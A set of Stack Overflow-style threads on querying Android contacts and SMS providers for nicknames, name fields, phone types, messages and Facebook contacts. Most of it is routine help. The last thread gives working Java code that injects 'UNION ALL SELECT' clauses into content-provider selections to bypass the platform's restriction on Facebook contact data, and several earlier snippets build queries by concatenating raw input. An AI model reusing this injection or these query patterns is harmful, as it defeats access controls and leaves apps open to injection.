I want to get the nickname of a contact from addressbook. I start with his phone number, query it and want the nickname (aka alias) as a result.
Cursor cur = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.NUMBER + " = " + incomingNumber, null, null);
if (cur.moveToFirst()) {
Log.e("saymyname", cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Nickname.NAME)));
Log.e("saymyname", cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Nickname.LABEL)));
}
Output of the logs is the incomingNumber (first Log.e() ) and null (second Log.e() ), but I want to get the contact's nickname!
Thanks
Tom
Nickname is held in a different table than the phone numbers, you have to query ContactsContract.Data.CONTENT_URI
Check my answer on this question
(I don't have necessary reputation to comment so I have to add answer)
TomTasche's answer is misleading and it got me to waste a lot of time trying to figure out why I couldn't get the proper nickname on a contact I knew had one.
I found the answer by myself but got the confirmation from this post that I was now doing it properly.
Basically when you read the ContactsContract.Data documentation you read:
Each row of the data table is typically used to store a single piece of contact information (such as a phone number) and its associated metadata (such as whether it is a work or home number).
That explains the shady part of TomTasche's code :
if (nickname.equals(incomingNumber)) {
return name;
}
Since doing a search with just the CONTACT_ID can return multiple rows (one for each information type), it's not guaranteed that the first one contains the nickname. When there is a nickname it will be in DATA1, but the phone number is also found in DATA1.
The example part in the documentation of ContactsContract.Data makes it clear that rows must be selected based on their MIME_TYPE, only when the MIME_TYPE is selected, can we start making sense of the content in the row itself.
A proper query would therefore be:
cursor = getContentResolver().query(
ContactsContract.Data.CONTENT_URI,
new String[]{Nickname.NAME},
ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE + "= ?",
new String[]{contactID, Nickname.CONTENT_ITEM_TYPE},
null);
(where Nickname is ContactsContract.CommonDataKinds.Nickname)
I felt I had to say something on this topic to prevent other people wasting as much time as I did based on this sole topic (first one I found with my Google friend).
The answer from Pentium10 was very helpful! Thanks!
If anybody needs a sample, look at the following code:
public String accessContact(String incomingNumber) {
if (incomingNumber == null || "".equals(incomingNumber)) {
return "unknown";
}
try {
Cursor cur = context.getContentResolver().query(Phone.CONTENT_URI, new String[] {Phone.DISPLAY_NAME, Phone.TYPE, Phone.CONTACT_ID}, Phone.NUMBER + " = " + incomingNumber, null, null);
int nameIndex = cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
int typeIndex = cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TYPE);
int idIndex = cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID);
String name;
String type;
String id;
if (cur.moveToFirst()) {
name = cur.getString(nameIndex);
type = cur.getString(typeIndex);
id = cur.getString(idIndex);
} else {
return "unknown";
}
cur = context.getContentResolver().query(ContactsContract.Data.CONTENT_URI, new String[] {ContactsContract.Data.DATA1}, ContactsContract.Data.CONTACT_ID + " = " + id, null, null);
int nicknameIndex = cur.getColumnIndex(ContactsContract.Data.DATA1);
String nickname;
if (cur.moveToFirst()) {
nickname = cur.getString(nicknameIndex);
if (nickname.equals(incomingNumber)) {
return name;
}
return nickname;
} else {
return name;
}
} catch (Exception e) {
e.printStackTrace();
return "unknown";
}
Related
I'm trying to retrieve data from the Contact provider but the data shows seems not query correctly. The code I use is just below:
mCursor = mContext.getContentResolver().query(
ContactsContract.Data.CONTENT_URI, null, null, null, null);
if(mCursor == null){
mListener.onRetrieveError();
return;
}
for (mCursor.moveToFirst(); !mCursor.isAfterLast(); mCursor.moveToNext()) {
String contact_f = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.GIVEN_NAME));
String contact_m = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.MIDDLE_NAME));
String contact_l = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.FAMILY_NAME));
String phone_type = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TYPE));
String email_type = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.Email.TYPE));
Log.d(TAG, "|" + contact_l + ", " + contact_f + " " + contact_m + " | " + phone_type + " | " + email_type);
}
The Log shows for example :
Log: |LastName, FirstName | FirstName | FirstName
Log: |null, 3 null | 3 | 3
I was expecting :
Log: |LastName, FirstName MiddleName | PhoneType| EmailType
I want to be able to get the firstname, lastname, middle name, email type (home/work...) - and all email types listed and also the phone type.
The goal is to for example get for a contact his lastname, firstname middle name and also saying that we got is home and work phone or email
The result I got seems a mix.
Any ideas.
Regards
That's not how it works. The Data table contains one row per contact value field (phone number, email address, structured name ...). Each row has a mimetype value that tells you how to interpret the columns of that row.
For example, if the mimetype column has the value Phone.CONTENT_ITEM_TYPE you must use the Phone column mapping to access the data.
So if a contact has one phone number and one email address there are at least 3 rows for this contact in the Data table. One for the StructuredName (this one is required exactly once for each RawContact), one for the Phone number and one for the Email address.
Each row also has a RAW_CONTACT_ID that contains the row id of the RawContact the value belongs to.
When you query the Data table, you actually read from a view that joins the real Data table with the RawContacts table, so each row also contains the CONTACT_ID of the contact the row belongs to. That means if two rows have the same CONTACT_ID they belong to the same contact.
I hope that explains it. I don't really know what you're trying to achieve in the end, so I can't give any helpful code snippets.
Update
The key to this is to check the mimetype of each row before you decide how to interpret the values. Also you need to read the CONTACT_ID or RAW_CONTACT_ID to be able to aggregate the data correctly. If you order the result by CONTACT_ID you can assume that all rows belonging to a contact have been read when the CONTACT_ID value changes.
The (untested) code snippet below should point you to the right direction. The point is, you can not get all the data of a contact in a single row. You always need to read multiple rows and aggregate them in some way.
mCursor = mContext.getContentResolver().query(
ContactsContract.Data.CONTENT_URI, null, null, null, ContactsContract.Data.CONTACT_ID);
if(mCursor == null){
mListener.onRetrieveError();
return;
}
colIdxContactId = mCursor.getColumnIndex(ContactsContract.Data.CONTACT_ID);
colIdxMimetype = mCursor.getColumnIndex(ContactsContract.Data.MIMETYPE);
long lastContactId = -1L;
for (mCursor.moveToFirst(); !mCursor.isAfterLast(); mCursor.moveToNext())
// this is the contact Id the current row belongs to
long contactId = mCursor.getLong(colIdxContactId);
if (lastContactId != contactId) {
// the previous contact is complete, the following data belong to a new contact
// handle this case ...
lastContactId = contactId;
}
// the mimetype column tells us how to interpret the current row:
switch(mCursor.getString(colIdxMimetype)) {
case ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE: {
// this row is a structured name
String contact_f = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.GIVEN_NAME));
String contact_m = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.MIDDLE_NAME));
String contact_l = mCursor.getString(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.FAMILY_NAME));
// store names somewhere ...
break;
}
case ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE: {
// this row represents a phone number
int phone_type = mCursor.getInt(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TYPE));
// store phone_type somewhere ...
break;
}
case ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE: {
// this row represents an email address
int email_type = mCursor.getInt(mCursor
.getColumnIndex(ContactsContract.CommonDataKinds.Email.TYPE));
// store email_type somewhere ...
break;
}
}
}
You can use this
public void getAllContacts(){
Cursor cursor = null;
ContactPerson contact;
try {
cursor = getActivity().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
int nameIdx = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
int phoneNumberIdx = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
int emailAddressIdx = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA);
cursor.moveToFirst();
do {
contact = new ContactPerson(cursor.getString(nameIdx),cursor.getString(phoneNumberIdx),cursor.getString(emailAddressIdx));
cpList.add(contact);
// Toast.makeText(getActivity(),cursor.getString(nameIdx)+" "+ cursor.getString(phoneNumberIdx),Toast.LENGTH_SHORT).show();
} while (cursor.moveToNext());
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(getActivity(),e.getMessage(), Toast.LENGTH_LONG).show();
Log.d("Error",e.getMessage());
} finally {
if (cursor != null) {
cursor.close();
}
}
}
I think the URI you are using is wrong.
Try using ContactsContract.Contacts.CONTENT_URI instead of ContactsContract.Data.CONTENT_URI (this is what I use).
I would like to get all messages from one contact. I have the contact ID _id, so I've already do something like this :
private void displayMessages() {
ContentResolver cr = this.getContentResolver();
try {
Cursor cursor = cr.query(Uri.parse("content://mms-sms/conversations"), new String[]{"*"}, this.contID + "= _id" , null, null); //contID is the unique ID for one contact in our android.
while (cursor.moveToNext()) {
System.out.println("Number: " + cursor.getString(cursor.getColumnIndexOrThrow("address")));
System.out.println("Body : " + cursor.getString(cursor.getColumnIndexOrThrow("body")));
}
cursor.close();
}
catch (Exception e) {
System.out.print("ERROR");
}
I've asked something like
SELECT * FROM content://mms-sms/conversations WHERE _id = contID
As you can see, in my query, I ask system for messages from one contact (user id that I know) But I can just display the last message body. So I think it exists others query to get all messages from one user ?
Any ideas ???
I doubt that _id in this case is the id of the contact you are sending sms/mms to but rather the thread's id. The column you probably want to use for your query clause is RECIPIENT_IDS. For debugging purpose try without the where clause and dump the cursor to analyze the results
Cursor cursor = cr.query(Uri.parse("content://mms-sms/conversations"), new String[]{"*"}, null , null, null);
DatabaseUtils.dumpCursor(cursor);
Sorry for answer too late, but I've found a solution.
Here is my code :
private void displayMessages() {
ContentResolver cr = this.getContentResolver();
boolean isMe;
try {
Cursor cursor = cr.query(Uri.parse("content://sms"), null, this.cont.getThread_ID() + " = thread_id" , null, "date ASC");
while (cursor.moveToNext()) {
//if it's a received message :
if ((cursor.getString(cursor.getColumnIndexOrThrow("person")) != null)) {
isMe = false;
}
else {
//it's a message sent by me.
isMe = true;
}
date = cursor.getString(cursor.getColumnIndexOrThrow("date"));
System.out.println("Number: " + cursor.getString(cursor.getColumnIndexOrThrow("address")));
System.out.println("Body : " + cursor.getString(cursor.getColumnIndexOrThrow("body") + "\n");
}
cursor.close();
}
Thanks to "conent://sms" table, I can get all sms !
So I've used thread_id to display all messages, and thanks to the person column, I can know if the message was sent by me or my contact.
I'm new to android and i'm working with native contact.
So my app is let user put contact display name and their number for edit/delete.
In case the contact have more that one number.
I tried a lot but still have no luck, the app still doesn't update the number or it crashes.
What I'm going to do as my understanding is:
Find name in contact that matched name user inserted and use that to get contact_id that represent this contact datagroup.
Use contact_id in 1. and the number user input to find ._ID that represent the specific row id.
Do task with ._ID we get from 2.
This is 1. code to get contact_id:
public String getPeopleUniqueID(String name, Context context) {
String s = null;
String selection = ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME+" like'%" + name +"%'";
String[] projection = new String[] {ContactsContract.Data.CONTACT_ID};
Cursor c = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
projection, selection, null, null);
if(c.moveToFirst()) {
s = c.getString(c.getColumnIndex(ContactsContract.Data.CONTACT_ID));
}
c.close();
return s;
}
This is 2. code to get ._ID (num is number user inserted and name is from 1. > the contact_id)
public String checkPhoneNumber(String num, String name, Context context) {
String s = null;
String selection = ContactsContract.CommonDataKinds.Phone.NUMBER + "=?" + " AND "+ContactsContract.Data.CONTACT_ID+ "=?";
String[] projection = new String[] {ContactsContract.Data._ID};
Cursor c = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
projection, selection, new String[]{u,name}, null);
if(c.moveToFirst()) {
s=c.getString(c.getColumnIndex(ContactsContract.Data._ID));
}
c.close();
if (s==null){
s = "null";
}
return s;
}
To do something like editing (num is _.ID we get from 2. and newnum is new number user want to change into).
public void editNumber(String num , String newnum) {
ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
ops.add(ContentProviderOperation.newUpdate(Data.CONTENT_URI)
.withSelection(Data._ID + "=? AND " +
Data.MIMETYPE + "='" +
CommonDataKinds.Phone.CONTENT_ITEM_TYPE + "'",
new String[]{num})
.withValue(Data.DATA1, newnum)
.build());
try{
getContentResolver().applyBatch(ContactsContract.AUTHORITY, ops);}
catch (RemoteException e){e.printStackTrace();}catch (OperationApplicationException e) {e.printStackTrace();}
}
And well it crashes when I call editNumber().
Can you help me fix my code and my understanding?
And another question, can I edit/insert group for the contact programatically, like I want to add this contact to family friend or co-worker group (the default group that we can set at contact edit page)?
Use ContactsContract.Contacts.CONTENT_FILTER_URI for searching a contact based on name - to get Id or anything else. The like operator cannot handle all cases which the CONTENT_FILTER_URI does handle - For various languages, special characters etc.
http://developer.android.com/reference/android/provider/ContactsContract.Contacts.html#CONTENT_FILTER_URI
Use following uri to lookup a contact from phone number - you can get person id or anything else :
Uri lookupUri = Uri.withAppendedPath(PhoneLookup.CONTENT_FILTER_URI,
Uri.encode(phoneNumber));
In the set query you can also use contactId in the condition
For groups you can use custom mimetypes if the default one does not suit you (which is still very primitive for groups across different account types)
It's supposed to be a common problem but I don't know what is the right word to look for solution.
In my app, I user can key in a number, and I need to search if the contact exist in database. Also, given a contact ID and number, I want to find the phone label of the number..
The problem is, if I have a number in phone as "8710 2863" and my query arg is "87102863", I won't be able to get the contact and phone label... There must be a way to standardize the format.. But I can't find the way :(
Here is my code:
Cursor cursor = MyApp.getContext().getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
new String[] {
ContactsContract.CommonDataKinds.Phone.TYPE,
ContactsContract.CommonDataKinds.Phone.LABEL
},
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ? AND "
+ ContactsContract.CommonDataKinds.Phone.NUMBER + " = ? ",
new String[] { Long.toString(contactId), number },
ContactsContract.Data.IS_SUPER_PRIMARY + " DESC");
if (cursor != null) {
try {
if (cursor.moveToFirst()) {
int type = cursor.getInt(0);
String label = cursor.getString(1);
String phoneLabel = (String) ContactsContract.CommonDataKinds.Phone
.getTypeLabel(MyApp.getContext().getResources(), type, label);
hashBuilder.put(Defs.ARG_PHONE_TYPE, phoneLabel);
}
} finally {
cursor.close();
}
}
Have you tried PhoneNumberUtils.formatNumber(String)?
I'm trying to build a contacts-managing application. On my phone I have contacts from a couple of accounts including Facebook and HTC Facebook. For some reason I cannot retrieve these contacts from the RawContacts table of ContactsContract:
managedQuery(ContactsContract.RawContacts.CONTENT_URI, new String[] {
ContactsContract.RawContacts._ID,
ContactsContract.RawContacts.CONTACT_ID,
ContactsContract.RawContacts.ACCOUNT_NAME,
ContactsContract.RawContacts.ACCOUNT_TYPE,
}, ContactsContract.RawContacts.ACCOUNT_TYPE + " = 'com.facebook.auth.login'", null, null)
This query returns no results. If I repace the account type with com.htc.socialnetwork.facebook, I still get no results. There are many Facebook contacts on my phone; how to retrieve them?
I think I found the answer here: How to get a contact's facebook id or url from native contacts / content resolver?
Seems that access to Facebook contacts is restricted.
Yes, the Facebook contacts are secured, but can be hijacked with a little sneaky SQLite Injection. NO- I am not going to post here on this page, but is there any reason you do not just use Facebook authentication and get the contacts THAT way? The Facebook contacts don't really have anything useful in them anyway, and it is just more secure and more likely to work ALL the
There is definitely no way to do this in a standard way. So, we must use an SQLi injection (as roger commented) in order to be able to hack the contacts database and get the Facebook avatars. The following code works on most Motorolas, which use Motoblur, on Android 2.2 or higher:
public static Bitmap loadFacebookAvatar(Context context, long personId) {
String[] rawProjection = {ContactsContract.RawContacts._ID};
String contactIdAssertion = ContactsContract.RawContacts.CONTACT_ID + " = " + personId;
String rawWhere = new StringBuilder()
.append(contactIdAssertion).append(") UNION ALL SELECT ")
.append(ContactsContract.RawContacts._ID).append(" FROM view_raw_contacts WHERE (")
.append(contactIdAssertion).toString();
Cursor query = context.getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI,
rawProjection,
rawWhere, null, null);
if (query != null && query.moveToFirst()) {
do {
long id = query.getLong(query.getColumnIndex(ContactsContract.RawContacts._ID));
String[] projection = {ContactsContract.CommonDataKinds.Photo.PHOTO};
Uri uri = ContactsContract.Data.CONTENT_URI;
String mimeTypeAssertion = ContactsContract.Data.MIMETYPE + "='" + ContactsContract.CommonDataKinds.Photo.CONTENT_ITEM_TYPE + "'";
String photoAssertion = ContactsContract.CommonDataKinds.Photo.PHOTO + " IS NOT NULL";
String rawContactIdAssertion = ContactsContract.CommonDataKinds.Photo.RAW_CONTACT_ID + " = " + id;
String where = new StringBuilder().append(mimeTypeAssertion).append(" AND ")
.append(photoAssertion).append(" AND ").append(rawContactIdAssertion)
.append(") UNION ALL SELECT ").append(ContactsContract.CommonDataKinds.Photo.PHOTO)
.append(" FROM view_data WHERE (").append(photoAssertion).append(" AND ")
.append(rawContactIdAssertion).toString();
Cursor photoQuery = context.getContentResolver().query(uri, projection, where, null, null);
if (photoQuery != null && photoQuery.moveToFirst()) {
do {
byte[] photoData = photoQuery.getBlob(photoQuery.getColumnIndex(ContactsContract.CommonDataKinds.Photo.PHOTO));
if (photoData != null) {
return BitmapFactory.decodeByteArray(photoData, 0, photoData.length, null);
}
} while (photoQuery.moveToNext());
}
} while (query.moveToNext());
}
return null;
}
For other handsets you must get the contacts database and analyze it in order to determine how to apply the SQL Injection, which requires a rooted phone.